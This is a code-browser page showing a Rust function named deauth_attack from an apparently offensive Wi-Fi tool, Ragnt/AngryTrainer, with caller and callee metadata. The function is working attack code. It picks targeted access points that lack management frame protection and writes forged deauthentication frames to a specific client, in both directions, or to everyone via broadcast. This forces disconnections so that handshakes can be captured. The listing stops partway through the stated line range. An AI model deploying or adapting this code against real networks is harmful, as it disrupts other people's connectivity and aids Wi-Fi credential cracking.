MCPcopy Create free account
hub / github.com/Ragnt/AngryTrainer / deauth_attack

Function deauth_attack

src/attack.rs:242–307  ·  view source on GitHub ↗
(oxide: &mut OxideRuntime, ap_mac: &MacAddress)

Source from the content-addressed store, hash-verified

240}
241
242pub fn deauth_attack(oxide: &mut OxideRuntime, ap_mac: &MacAddress) -> Result<(), String> {
243 let ap_data = if let Some(dev) = oxide.access_points.get_device(ap_mac) {
244 dev
245 } else {
246 return Ok(());
247 };
248
249 if !oxide.target_data.targets.is_target(ap_data) {
250 return Ok(());
251 }
252
253 if oxide
254 .handshake_storage
255 .has_complete_handshake_for_ap(ap_mac)
256 {
257 return Ok(());
258 }
259
260 let reason_code = &oxide.deauth_code;
261
262 if !ap_data.information.ap_mfp.is_some_and(|mfp| mfp) && ap_data.information.akm_mask() {
263 if let Some(mac_address) = oxide.deauth_target {
264 let deauth_client = mac_address;
265 // Deauth From AP
266 let frx = build_deauthentication_fm_ap(
267 ap_mac,
268 &mac_address,
269 oxide.counters.sequence1(),
270 reason_code.clone(),
271 );
272 let _ = write_packet(oxide.raw_sockets.tx_socket.as_raw_fd(), &frx);
273
274 // Deauth From Client
275 let frx = build_deauthentication_fm_client(
276 ap_mac,
277 &mac_address,
278 oxide.counters.sequence1(),
279 DeauthenticationReason::DeauthenticatedBecauseSTAIsLeaving,
280 );
281 let _ = write_packet(oxide.raw_sockets.tx_socket.as_raw_fd(), &frx);
282
283 ap_data.interactions += 1;
284 oxide.status_log.add_message(StatusMessage::new(
285 MessageType::Info,
286 format!("Sending Deauth: {} <=> {}", ap_mac, deauth_client),
287 ));
288 } else {
289 // There is no client
290 let frx = build_deauthentication_fm_ap(
291 ap_mac,
292 &MacAddress::broadcast(),
293 oxide.counters.sequence1(),
294 reason_code.clone(),
295 );
296 let _ = write_packet(oxide.raw_sockets.tx_socket.as_raw_fd(), &frx);
297
298 ap_data.interactions += 1;
299 oxide.status_log.add_message(StatusMessage::new(

Callers 1

process_frameFunction · 0.85

Calls 9

write_packetFunction · 0.85
get_deviceMethod · 0.80
akm_maskMethod · 0.80
sequence1Method · 0.80
add_messageMethod · 0.80
is_targetMethod · 0.45

Tested by

no test coverage detected